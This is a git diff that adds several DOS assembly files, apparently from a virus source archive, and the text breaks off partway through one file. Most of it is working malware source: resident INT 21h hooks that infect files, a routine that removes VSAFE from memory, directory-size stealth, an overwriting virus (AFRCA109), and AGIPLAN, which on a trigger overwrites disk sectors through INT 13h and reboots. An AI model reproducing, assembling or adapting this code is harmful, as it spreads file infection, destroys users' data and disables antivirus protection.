; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw ? +attrib dw ? +int21 dd ? +error dd ? + +;--------------------------------- +action: ;Call label +MOV AH,2AH ; +INT 21H ;get date +CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day? +JE cont ;nop! fuck ret +cmp byte ptr cs:[action_dia+bp],32 ; +jne no_day ; +cont: ; +cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month? +je set ; +cmp byte ptr cs:[action_mes+bp],13 ; +jne NO_DAY ;nop! fuck ret +set: ; +mov AH,9 ;yeah!! +MOV DX,OFFSET PAO ;print my text! +INT 21H ;now! +INT 20H ;an finsh te program +NO_DAY: ;label to incorrect date +ret ;return from call +;--------------------------------- + + +PAO: +DB 10,13,'To you from Intestinal Fortitude','$' + +;--------------------------------- +ANTI_V: ; +MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY +MOV DX,5945H ; +INT 21H ; +ret ; +;--------------------------------- + +;***************************************************** +dir_s: + pushf + push cs + call a3 ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + mov es,bx + cmp bx,es:[16h] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,byte ptr cs:fechad + jnz not_infected + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;******************************************************************** +; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX +;********************************************************************* + +action_dia Db 019H ;day for the action +action_mes Db 0bH ;month for the action +FECHA DW 01eH ;Secon for mark +FECHAd Db 01eH ;Secon for mark dir st +fin: +code ends +end start diff --git a/a/AFRCA109.ASM b/a/AFRCA109.ASM new file mode 100755 index 0000000..beb3fb2 --- /dev/null +++ b/a/AFRCA109.ASM @@ -0,0 +1,99 @@ + +PAGE 59,132 + +; +; +; AFRCA109 +; +; Created: 16-Sep-92 +; Passes: 5 Analysis Options on: AW +; +; + +data_2e equ 4F43h +data_3e equ 0FE00h + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +afrca109 proc far + +start: + mov si,100h + push si + mov ax,cs + add ah,10h + mov es,ax + xor di,di ; Zero register + mov cx,6Dh + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov dx,data_3e + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA(disk xfer area) ds:dx + mov dx,167h + mov ah,4Eh ; 'N' + jmp short loc_2 +loc_1: + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + mov ah,4Fh ; 'O' +loc_2: + push cs + pop ds + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + mov cx,0FE1Eh + jc loc_3 ; Jump if carry Set + mov dx,cx + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + xchg ax,bx + push es + pop ds + mov dx,di + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + add ax,6Dh + cmp byte ptr [di],0BEh + je loc_1 ; Jump if equal + push ax + xor cx,cx ; Zero register + mov ax,4200h + cwd ; Word to double word + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + pop cx + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + jmp short loc_1 +loc_3: + push cs + pop es + mov bl,0FCh + mov word ptr [bx],0AAACh + mov word ptr [bx+2],0FCE2h + pop di + push bx + retn + sub ch,ds:data_2e + dec bp + add bl,al + +afrca109 endp + +seg_a ends + + + + end start diff --git a/a/AG.ASM b/a/AG.ASM new file mode 100755 index 0000000..df12ca6 --- /dev/null +++ b/a/AG.ASM @@ -0,0 +1,367 @@ +.286c +.model small +.code + org 100h +start: + +jmp install + +old_si dw 0 +old_bx dw 0 +old_cx dw 0 +old_dx dw 0 +es_main dw 0 +num_ff dw 0 +last_pag dw 0 +viroff dw 0 +count db 0 +scan_seg dw 0 +mes db 'Found !','$' +filnm db 15 dup(0) +buffer db 'NCMAIN.EXE',0h,0h,0h,0h,0h + db 'QA.COM', + db 64 dup (0) + +include datagame.inc + + +int_21h_entry: + + pushf ; Push flags + sti ; Enable interrupts + cmp ah,4Bh ; + jne loc_24 ; Jump if equal + cmp al,0 + je loc_25 + +loc_24: + popf ; Pop flags + db 0EAh +old_21h_off dw ? +old_21h_seg dw ? + + +loc_25: + mov cs:old_bx,bx + push ax + push cx + push di + push es + push ds + push si + push dx + + mov si,dx +loc_205: + inc si + cmp byte ptr ds:[si],0 + jne loc_205 + mov bh,0 +loc_206: + inc bh + dec si + cmp byte ptr ds:[si],'\' + jne loc_206 + inc si + dec bh + push cs + pop es + xor cx,cx + mov bl,-1 +loc_94: + inc bl + lea di,cs:buffer + mov ax,15 + mul bl + add di,ax + push si + mov cl,bh + rep cmpsb + pop si + je loc_57 + cmp bl,4 + jne loc_94 + jmp short loc_95 + +loc_57: + mov byte ptr cs:count,0 + jmp loc_fin + +loc_95: + mov cl,bh + lea di,cs:filnm + repne movsb + sub si,3 + cmp word ptr ds:[si],'XE' + jne loc_47 + lea ax,cs:only_exe + mov byte ptr bl,cs:only_exe_count + jmp short loc_files + +loc_47: + cmp word ptr ds:[si],'OC' + je loc_79 + lea ax,cs:ov_pi + mov byte ptr bl,cs:ov_pi_count + jmp short loc_files + +loc_79: + lea ax,cs:com_exe + mov byte ptr bl,cs:com_exe_count + +loc_files: + + mov cs:viroff,ax + mov byte ptr cs:count,bl + + mov ah,3dh + xor al,al + int 21h ; file is open for reading + jc loc_fin + + mov bx,ax + mov ah,42h + xor cx,cx + mov dx,cx + mov al,2 + int 21h ; seek to the end + + mov cs:num_ff,dx ; save number of 64k + mov cs:last_pag,ax ; save length of last page + + mov ah,3eh + int 21h ; close the file + +loc_fin: + pop dx + pop si + pop ds + pop es + pop di + pop cx + pop ax +loc_en: + mov bx,cs:old_bx + jmp loc_24 + +message: + mov dx,si + mov ah,09h + int 21h + lea dx,mes + mov ah,09h + int 21h + ret + +int_4b_scan: + + mov old_bx,bx + mov old_dx,dx + push cs + pop ds + add dx,10h ; dx = Start seg + + call scanvir + jc loc_vir + + mov ax,old_bx + mov dx,old_dx + mov ds,dx + mov es,dx + retf + +loc_vir: +; call message + pop dx + pop ds + mov dx,old_dx + push dx + xor dx,dx + push dx + retf + + +scanvir: + ; dx = segment for scan (offset = 0) + ; cs:viroff = offset of virtable + ; ds = segment of virtable + ; cs:count = number of viruses + ; cs:num_ff = number of 64k + ; cs:last_pag = number of bytes in last page + ; return bit c if virus is founded + ; ds:si points to the viruses name + ; bp,es,di,bx,ax,dx + + mov cs:es_main,dx ; es_main = Start_seg + + mov bp,cs:viroff ; bp - pointer to virus table + mov bh,0 + +loc_5: + cmp byte ptr cs:count,bh + jne loc_61 + ret +loc_61: + inc bh + mov di,cs:es_main ; + mov es,di ; + xor di,di ; + mov dx,cs:num_ff ; + mov si,cs:[bp] ; si points to this viruses pattern + lodsb + mov bl,al ; bl - counter of characters in virus pattern + sub bl,1 + lodsb ; al - first char of pattern + jmp loc_12 ; go to search + +loc_9: + cmp dx,-1 ; virus is ended ? + jne loc_15 ; no + add bp,2 ; bp points to the next virus + jmp loc_5 + +loc_15: + + xor di,di ; di points to the beginning of the next segment + mov cx,es ; + add cx,1000h ; + mov es,cx ; es points to the next segment + +loc_12: + cmp dx,0 ; we'll work with last page ? + je loc_2 ; yes + mov cx,0ffffh ; cx = maximum counter + jmp loc_10 +loc_2: + mov cx,cs:last_pag ; + +loc_10: + + repne scasb ; search for first char + je loc_13 ; found + dec dx ; decrement of the counter of 64k + jmp loc_9 ; go to the preparing for the search in next segment + +loc_13: + mov cs:old_cx,cx ; + mov cs:old_si,si + push di + push es + cmp di,0fff0h + jbe loc_7 + mov cx,es + inc cx + mov es,cx + sub di,10h + +loc_7: + xor cx,cx + mov cl,bl + repz cmpsb + jne loc_11 + pop es + pop di + jmp loc_89 ; found ! + +loc_11: + mov si,cs:old_si + pop es + pop di + mov cx,cs:old_cx + jmp loc_10 + +loc_er: + + +loc_89: + stc + ret + + +pattern: + db 08eh + db 0c2h + db 08eh + db 0dah + db 08bh + db 0c3h + db 0cbh + + +install: + int 5 + + cli ; set new stack + mov ax,cs + mov ss,ax + mov bx,offset n + add bx,50h + mov sp,bx + sti + + xor ax,ax + push ax + pop ds ; ds=0 + cli + + mov di,ds:[21h*4] + mov ax,ds:[21h*4+2] + mov cs:old_21h_off,di + mov cs:old_21h_seg,ax + + mov di,ds:[31h*4] + mov ax,ds:[31h*4+2] + push ax + pop es + + + mov ds:[21h*4],offset int_21h_entry + mov ds:[21h*4+2],cs + + sti + + ; find 'MZ' + mov cx,-1 + cld + mov byte ptr al,4dh +loc_lo: + repne scasb + jne loc_err + cmp byte ptr es:[di],5ah + jne loc_lo + +loc_loop: + ; 'MZ' found + + push cs + pop ds + lea si,cs:pattern + inc si + + + mov byte ptr al,cs:[si-1] + inc si +loc_loop1: + dec si + repne scasb + jne loc_err + push cx + mov cx,6 + rep cmpsb + pop cx + jnz loc_loop1 + +suc_end: + + mov byte ptr es:[di-5],0eah + mov es:[di-4],offset int_4b_scan + mov es:[di-2],cs + +loc_err: + + mov dx,offset install + int 27h + +n: + dw 50 dup (0) + end start \ No newline at end of file diff --git a/a/AGIPLAN (15).ASM b/a/AGIPLAN (15).ASM new file mode 100755 index 0000000..d1f62b0 --- /dev/null +++ b/a/AGIPLAN (15).ASM @@ -0,0 +1,1003 @@ + +PAGE 59,132 + +; +; +; AGIPLAN +; +; Created: 1-Sep-90 +; Version: +; Passes: 5 Analysis Options on: none +; +; +; + +movseg macro reg16, unused, Imm16 ; Fixup for Assembler + ifidn , + db 0BBh + endif + ifidn , + db 0B9h + endif + ifidn , + db 0BAh + endif + ifidn , + db 0BEh + endif + ifidn , + db 0BFh + endif + ifidn , + db 0BDh + endif + ifidn , + db 0BCh + endif + ifidn , + db 0BBH + endif + ifidn , + db 0B9H + endif + ifidn , + db 0BAH + endif + ifidn , + db 0BEH + endif + ifidn , + db 0BFH + endif + ifidn , + db 0BDH + endif + ifidn , + db 0BCH + endif + dw seg Imm16 +endm +data_1e equ 46Dh ; (0000:046D=0B35h) +data_2e equ 600h ; (0000:0600=54h) +data_3e equ 0Eh ; (0A10:000E=1) +data_4e equ 1 ; (936D:0001=0FFFFh) +data_5e equ 0 ; (936E:0000=0) +data_6e equ 2 ; (936E:0002=0) +data_7e equ 12h ; (936E:0012=0) +data_8e equ 14h ; (936E:0014=936Eh) +data_9e equ 0F0h ; (936E:00F0=0) +data_10e equ 0F6h ; (936E:00F6=0) +data_11e equ 0FAh ; (936E:00FA=0) +data_12e equ 0FEh ; (936E:00FE=0) +data_45e equ 2Ch ; (93CE:002C=0FFFFh) +data_46e equ 5B0h ; (93CE:05B0=41h) +data_47e equ 600h ; (93CE:0600=41h) +data_48e equ 1 ; (FFFE:0001=0) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +agiplan proc far + +start: + jmp loc_43 ; (04CF) +data_14 db 'P1.8&', 5, 'u', 7, 'X.', 0FFh + db '.', 5, '', 0FFh, 0 + db 75h,0F4h, 58h +data_15 db 9Dh + db 0B8h, 03h, 00h,0CFh, 90h, 90h + db 90h +data_16 db 0 + db 90h, 00h,0FFh,0FFh,0FFh,0FFh + db 0FFh + +agiplan endp + +; +; +; External Entry Point +; +; + +int_21h_entry proc far + pushf ; Push flags + cmp ah,4Eh ; 'N' + jne loc_4 ; Jump if not equal + jmp short loc_8 ; (0154) +loc_4: + cmp ah,4Bh ; 'K' + jne loc_5 ; Jump if not equal + jmp short loc_8 ; (0154) +loc_5: + cmp ah,0Eh + jne loc_6 ; Jump if not equal + jmp short loc_8 ; (0154) +loc_6: + cmp ah,40h ; '@' + jne loc_7 ; Jump if not equal + jmp short loc_8 ; (0154) +loc_7: + popf ; Pop flags + jmp dword ptr cs:data_35 ; (936E:05E4=138Dh) + db 90h +loc_8: + cli ; Disable interrupts + push es + push ds + push di + push si + push bp + push dx + push cx + push bx + push ax + mov cs:data_31,ss ; (936E:05DB=0A10h) + mov cs:data_32,sp ; (936E:05DD=743h) + mov al,0FFh + mov cs:data_30,al ; (936E:05DA=0FFh) + mov ax,3524h + int 7Eh ; ??INT Non-standard interrupt. + cmp word ptr cs:data_37,bx ; (936E:05E8=4EBh) + jne loc_9 ; Jump if not equal + mov ax,2524h + mov dx,108h + push cs + pop ds + int 7Eh ; ??INT Non-standard interrupt. +loc_9: + sti ; Enable interrupts + jmp short loc_11 ; (01AA) +loc_10: + cli ; Disable interrupts + xor ax,ax ; Zero register + mov cs:data_30,ah ; (936E:05DA=0FFh) + mov ss,cs:data_31 ; (936E:05DB=0A10h) + mov sp,cs:data_32 ; (936E:05DD=743h) + pop ax + pop bx + pop cx + pop dx + pop bp + pop si + pop di + pop ds + pop es + popf ; Pop flags + sti ; Enable interrupts + jmp dword ptr cs:data_35 ; (936E:05E4=138Dh) + db 90h +loc_11: + pop ax + pop bx + push bx + push ax + cmp ah,4Bh ; 'K' + je loc_16 ; Jump if equal + cmp ah,40h ; '@' + jne loc_12 ; Jump if not equal + jmp short loc_15 ; (01CC) +loc_12: + cmp ah,0Eh + jne loc_13 ; Jump if not equal + jmp short loc_10 ; (0187) +loc_13: + cmp ah,4Eh ; 'N' + jne loc_10 ; Jump if not equal + jmp short loc_10 ; (0187) + db 90h +loc_14: + jmp loc_23 ; (0283) +loc_15: + mov ax,0Fh + cmp cs:data_29,al ; (936E:05D9=0) + jb loc_10 ; Jump if below + ja loc_14 ; Jump if above + cmp bx,4 + jbe loc_10 ; Jump if below or = + mov bx,1 + push cs + pop ds + add ds:data_11e,bx ; (936E:00FA=0) + mov ah,2Ch ; ',' + int 7Eh ; ??INT Non-standard interrupt. + cmp dh,ds:data_11e ; (936E:00FA=0) + ja loc_10 ; Jump if above + mov bx,data_3e ; (0A10:000E=1) + add bx,data_32 ; (936E:05DD=743h) + mov ss:[bx],bx + jmp short loc_10 ; (0187) + db 01h, 90h, 90h, 90h +loc_16: + mov cs:data_33,dx ; (936E:05DF=3D7Bh) + mov cs:data_34,ds ; (936E:05E1=7B6Eh) + push cs + pop ds + mov ah,2Ch ; ',' + int 7Eh ; ??INT Non-standard interrupt. + cmp dh,ds:data_12e ; (936E:00FE=0) + jb loc_17 ; Jump if below + jmp loc_10 ; (0187) +loc_17: + mov dx,data_33 ; (936E:05DF=3D7Bh) + mov ds,data_34 ; (936E:05E1=7B6Eh) + push ax + mov al,2Eh ; '.' + cld ; Clear direction + push ds + push dx + cli ; Disable interrupts + mov di,dx + push ds + pop es + mov cx,20h + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + jnz loc_20 ; Jump if not zero + push cs + pop ds + mov si,offset data_21 ; (936E:05C8=43h) + mov cx,3 + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jnz loc_22 ; Jump if not zero + sub di,0Bh + mov si,offset data_20 ; (936E:05C0=43h) + mov cx,0Bh + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + mov dh,0FFh + mov cs:data_16,dh ; (936E:0128=0) + jz loc_18 ; Jump if zero + xor dx,dx ; Zero register + mov cs:data_16,dh ; (936E:0128=0) +loc_18: + add sp,6 + push cs + pop ds +loc_19: + call sub_2 ; (02C0) +loc_20: + jmp loc_10 ; (0187) + db 90h, 90h +loc_21: +;* jmp loc_34 ;*(03E0) + db 0E9h, 76h, 01h +loc_22: + add sp,6 + push cs + pop ds + mov dx,5C0h + mov data_33,dx ; (936E:05DF=3D7Bh) + mov data_34,ds ; (936E:05E1=7B6Eh) + mov dh,0FFh + mov data_16,dh ; (936E:0128=0) + jmp short loc_19 ; (025F) + db 90h +loc_23: + mov cx,501h + mov dx,100h + call sub_1 ; (02A0) + mov dx,101h + call sub_1 ; (02A0) + mov dx,380h + call sub_1 ; (02A0) + mov dx,381h + call sub_1 ; (02A0) + int 19h ; Bootstrap loader +int_21h_entry endp + + +; +; SUBROUTINE +; + +sub_1 proc near + push dx +loc_24: + mov ax,309h + int 13h ; Disk dl=drive a ah=func 03h + ; write sectors from mem es:bx + sub dh,1 + cmp dh,0 + jge loc_24 ; Jump if > or = + pop dx + push dx + sub cx,100h + cmp cx,0 + jge loc_24 ; Jump if > or = + retn +sub_1 endp + + db 90h, 90h, 90h +loc_25: + jmp loc_31 ; (03A3) + +; +; SUBROUTINE +; + +sub_2 proc near + mov ah,48h ; 'H' + mov bx,0FFFh + int 7Eh ; ??INT Non-standard interrupt. + jc loc_21 ; Jump if carry Set + nop + mov ds:data_11e,ax ; (936E:00FA=0) + mov dx,data_33 ; (936E:05DF=3D7Bh) + mov ds,data_34 ; (936E:05E1=7B6Eh) + mov ah,3Ah ; ':' + mov bx,dx + add bx,1 + cmp ah,[bx] + mov ah,0 + jnz loc_27 ; Jump if not zero + mov bx,dx + mov al,50h ; 'P' + mov ah,[bx] + cmp ah,50h ; 'P' + ja loc_26 ; Jump if above + sub ah,40h ; '@' + jmp short loc_27 ; (02F5) +loc_26: + sub ah,60h ; '`' +loc_27: + mov dl,ah + mov ah,36h ; '6' + int 7Eh ; ??INT Non-standard interrupt. + cmp bx,9 + jb loc_25 ; Jump if below + mov dx,cs:data_33 ; (936E:05DF=3D7Bh) + mov ax,4300h + int 7Eh ; ??INT Non-standard interrupt. + mov cs:data_39,cx ; (936E:05EC=20h) + mov ax,4301h + xor cx,cx ; Zero register + int 7Eh ; ??INT Non-standard interrupt. + nop + mov ax,3D42h + int 7Eh ; ??INT Non-standard interrupt. + jc loc_25 ; Jump if carry Set + mov bx,ax + mov ah,3Fh ; '?' + mov cx,0FFFFh + mov dx,600h + mov ds,cs:data_11e ; (936E:00FA=0) + int 7Eh ; ??INT Non-standard interrupt. + jc loc_30 ; Jump if carry Set + add ax,600h + mov cs:data_10e,ax ; (936E:00F6=0) + cmp ax,1000h + jb loc_30 ; Jump if below + cmp ax,0D000h + ja loc_30 ; Jump if above + mov si,offset ds:[100h] ; (936E:0100=0E9h) + push cs + pop ds + xor di,di ; Zero register + mov es,cs:data_11e ; (936E:00FA=0) + mov cx,2FFh + cld ; Clear direction + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + push es + pop ds + xor di,di ; Zero register + mov si,data_2e ; (0000:0600=54h) + mov cx,10h + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jz loc_30 ; Jump if zero + mov ah,cs:data_16 ; (936E:0128=0) + cmp ah,0FFh + jne loc_28 ; Jump if not equal + call sub_3 ; (03C8) + jmp short loc_29 ; (0377) +loc_28: + mov ax,9090h + mov ds:data_1e,ax ; (0000:046D=0B35h) +loc_29: + nop + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 7Eh ; ??INT Non-standard interrupt. + mov ax,5700h + int 7Eh ; ??INT Non-standard interrupt. + push cx + push dx + mov ah,40h ; '@' + mov cx,cs:data_10e ; (936E:00F6=0) + xor dx,dx ; Zero register + mov ds,cs:data_11e ; (936E:00FA=0) + int 7Eh ; ??INT Non-standard interrupt. + pop dx + pop cx + mov ax,5701h + int 7Eh ; ??INT Non-standard interrupt. +loc_30: + mov ah,3Eh ; '>' + int 7Eh ; ??INT Non-standard interrupt. +loc_31: + mov cx,cs:data_39 ; (936E:05EC=20h) + mov dx,cs:data_33 ; (936E:05DF=3D7Bh) + mov ds,cs:data_34 ; (936E:05E1=7B6Eh) + mov ax,4301h +loc_32: + int 7Eh ; ??INT Non-standard interrupt. + push cs + pop ds + mov es,cs:data_11e ; (936E:00FA=0) + mov ah,49h ; 'I' + int 7Eh ; ??INT Non-standard interrupt. + retn +sub_2 endp + + db 90h, 90h, 90h, 90h, 90h + +; +; SUBROUTINE +; + +sub_3 proc near + mov ax,0D08Eh + mov ds:data_1e,ax ; (0000:046D=0B35h) + mov di,data_2e ; (0000:0600=54h) + mov cx,3000h + mov ax,0B8C9h +loc_33: + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + cmp ah,es:[di] + jne loc_33 ; Jump if not equal + mov dx,4200h + cmp dx,es:[di+1] + jne loc_33 ; Jump if not equal + mov dh,0BAh + cmp dh,es:[di-5] + jne loc_33 ; Jump if not equal + cmp cx,0 + jne loc_35 ; Jump if not equal + pop dx + jmp short loc_32 ; (03B5) + db 90h +loc_35: + mov dx,es:[di-4] + add dx,600h + mov es:[di-4],dx + retn +sub_3 endp + + db 11 dup (90h) + +; +; SUBROUTINE +; + +sub_4 proc near + mov ax,4A00h + mov bx,5Fh + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + mov bx,cs + sub bx,1 + mov ds,bx + mov ax,0FFFFh + mov ds:data_4e,ax ; (936D:0001=0FFFFh) + push cs + pop ds + mov ax,4800h + mov bx,0FFFFh + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + mov ax,4800h + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + retn +sub_4 endp + + db 0CBh + db 26 dup (90h) + +; +; SUBROUTINE +; + +sub_5 proc near + mov cx,10h + mov si,offset data_15 ; (936E:0120=9Dh) + mov di,data_9e ; (936E:00F0=0) + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dx=mon/day + cmp cx,data_25 ; (936E:05D1=7BCh) + ja loc_38 ; Jump if above + jc loc_36 ; Jump if carry Set + cmp dx,data_26 ; (936E:05D3=701h) + ja loc_38 ; Jump if above +loc_36: + cmp cx,data_27 ; (936E:05D5=7BCh) + ja loc_39 ; Jump if above + jc loc_37 ; Jump if carry Set + cmp dx,data_28 ; (936E:05D7=501h) + ja loc_39 ; Jump if above +loc_37: + mov ax,0 + jmp short loc_40 ; (0487) +loc_38: + or ax,0F0h +loc_39: + or ax,0Fh +loc_40: + mov data_29,al ; (936E:05D9=0) + push dx + push cx + xor bx,bx ; Zero register + call sub_6 ; (04A5) + pop cx + pop dx + mov bx,data_6e ; (936E:0002=0) + call sub_6 ; (04A5) + mov ah,1 + add data_22,ah ; (936E:05CC=14h) + nop + retn +sub_5 endp + + db 90h, 90h, 90h, 90h + +; +; SUBROUTINE +; + +sub_6 proc near + add dl,data_24[bx] ; (936E:05CE=0) + cmp dl,20h ; ' ' + jbe loc_41 ; Jump if below or = + add dh,1 + sub dl,20h ; ' ' +loc_41: + add dh,data_23[bx] ; (936E:05CD=6) + cmp dh,0Bh + jbe loc_42 ; Jump if below or = + sub dh,0Bh + add cx,1 +loc_42: + add bx,bx + nop + mov data_26[bx],dx ; (936E:05D3=701h) + mov data_25[bx],cx ; (936E:05D1=7BCh) + retn +sub_6 endp + +loc_43: + push ax + mov al,3Fh ; '?' + mov dx,70h + out dx,al ; port 70h, RTC addr/enabl NMI + mov dx,71h + in al,dx ; port 71h, RTC clock/RAM data + cmp al,0F0h + jbe loc_44 ; Jump if below or = + jmp loc_47 ; (057B) +loc_44: + mov ax,357Fh + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ax,ds + mov es,ax + cmp bx,0FFFFh + jne loc_45 ; Jump if not equal + jmp loc_48 ; (0582) +loc_45: + mov dx,0FFFFh + mov ax,257Fh + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,3521h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov word ptr data_35,bx ; (936E:05E4=138Dh) + mov word ptr data_35+2,es ; (936E:05E6=28Ch) + mov ax,es + mov ds,ax + mov dx,bx + mov ax,257Eh + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,cs + mov es,ax + mov ds,ax + mov dx,offset int_21h_entry + mov ax,2521h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,3524h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov word ptr data_37,bx ; (936E:05E8=4EBh) + mov word ptr data_37+2,es ; (936E:05EA=0A10h) + mov ax,es + mov ds,ax + mov dx,bx + mov ax,25FDh + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,cs + mov es,ax + mov ds,ax + mov dx,offset int_24h_entry + mov ax,2524h + mov ds:data_7e,dx ; (936E:0012=0) + mov ds:data_8e,ds ; (936E:0014=936Eh) + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + call sub_5 ; (0450) + call sub_4 ; (0410) + nop + nop + nop + nop + nop +loc_46: + mov cx,80h + mov di,data_47e ; (93CE:0600=41h) + mov si,data_5e ; (936E:0000=0) + cld ; Clear direction + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + mov ax,ds + add ax,60h + mov word ptr ds:[579h],ax ; (936E:0579=0E64h) + nop + nop + mov es,ax + mov ds,ax + pop ax + nop + nop +;* jmp far ptr loc_1 ;*(0E64:0100) + db 0EAh, 00h, 01h, 64h, 0Eh +loc_47: + mov dx,data_46e ; (93CE:05B0=41h) + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx +loc_48: + mov ax,4A00h + mov bx,5Fh + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + mov bx,ds:data_45e ; (93CE:002C=0FFFFh) + sub bx,1 + xor ax,ax ; Zero register + mov ds,bx + mov ds:data_48e,ax ; (FFFE:0001=0) + mov bx,cs + add bx,60h + mov dx,cs + sub dx,1 + mov ds,dx + mov ds:data_4e,bx ; (936D:0001=0FFFFh) + mov ah,50h ; 'P' + int 21h ; DOS Services ah=function 50h + ; set active PSP segmnt from bx + push cs + pop ds + jmp short loc_46 ; (0559) + db 'load error', 0Dh, 0Ah, '$' + db 0Ah, '$' + db 0 +data_20 db 'COMMAND.' +data_21 db 43h + db 4Fh, 4Dh, 00h +data_22 db 14h +data_23 db 6 ; Data table (indexed access) +data_24 db 0 ; Data table (indexed access) + db 4, 0 +data_25 dw 7BCh ; Data table (indexed access) +data_26 dw 701h ; Data table (indexed access) +data_27 dw 7BCh +data_28 dw 501h +data_29 db 0 +data_30 db 0FFh +data_31 dw 0A10h +data_32 dw 743h +data_33 dw 3D7Bh +data_34 dw 7B6Eh + db 90h +data_35 dd 28C138Dh +data_37 dd 0A1004EBh +data_39 dw 20h + db 90h, 90h, 4Dh, 10h, 0Ah,0FFh + db 0Fh + db 11 dup (90h) + db 0E9h,0CCh, 03h, 90h, 90h, 90h + db 90h, 90h, 9Ch, 50h, 31h,0C0h + db 2Eh, 38h, 26h,0DAh, 05h, 75h + db 07h +loc_49: + pop ax + popf ; Pop flags + jmp cs:data_37 ; (936E:05E8=4EBh) + cmp di,0 + jne loc_49 ; Jump if not equal + pop ax + popf ; Pop flags + mov ax,3 + iret ; Interrupt return + db 90h, 90h, 90h, 00h, 90h, 00h + db 0FFh,0FFh,0FFh,0FFh,0FFh, 9Ch + db 80h,0FCh, 4Eh, 75h, 02h,0EBh + db 1Ch, 80h,0FCh, 4Bh, 75h, 02h + db 0EBh, 15h +loc_50: + cmp ah,0Eh + jne loc_51 ; Jump if not equal + jmp short loc_53 ; (0654) +loc_51: + cmp ah,40h ; '@' + jne loc_52 ; Jump if not equal + jmp short loc_53 ; (0654) +loc_52: + popf ; Pop flags + jmp cs:data_35 ; (936E:05E4=138Dh) + db 90h +loc_53: + cli ; Disable interrupts + push es + push ds + push di + push si + push bp + push dx + push cx + push bx + push ax + mov cs:data_31,ss ; (936E:05DB=0A10h) + mov cs:data_32,sp ; (936E:05DD=743h) + mov al,0FFh + mov cs:data_30,al ; (936E:05DA=0FFh) + mov ax,3524h + int 7Eh ; ??INT Non-standard interrupt. + cmp word ptr cs:data_37,bx ; (936E:05E8=4EBh) + jne loc_54 ; Jump if not equal + mov ax,2524h + mov dx,108h + push cs + pop ds + int 7Eh ; ??INT Non-standard interrupt. +loc_54: + sti ; Enable interrupts + jmp short loc_56 ; (06AA) +loc_55: + cli ; Disable interrupts + xor ax,ax ; Zero register + mov cs:data_30,ah ; (936E:05DA=0FFh) + mov ss,cs:data_31 ; (936E:05DB=0A10h) + mov sp,cs:data_32 ; (936E:05DD=743h) + pop ax + pop bx + pop cx + pop dx + pop bp + pop si + pop di + pop ds + pop es + popf ; Pop flags + sti ; Enable interrupts + jmp cs:data_35 ; (936E:05E4=138Dh) + db 90h +loc_56: + pop ax + pop bx + push bx + push ax + cmp ah,4Bh ; 'K' + je loc_61 ; Jump if equal + cmp ah,40h ; '@' + jne loc_57 ; Jump if not equal + jmp short loc_60 ; (06CC) +loc_57: + cmp ah,0Eh 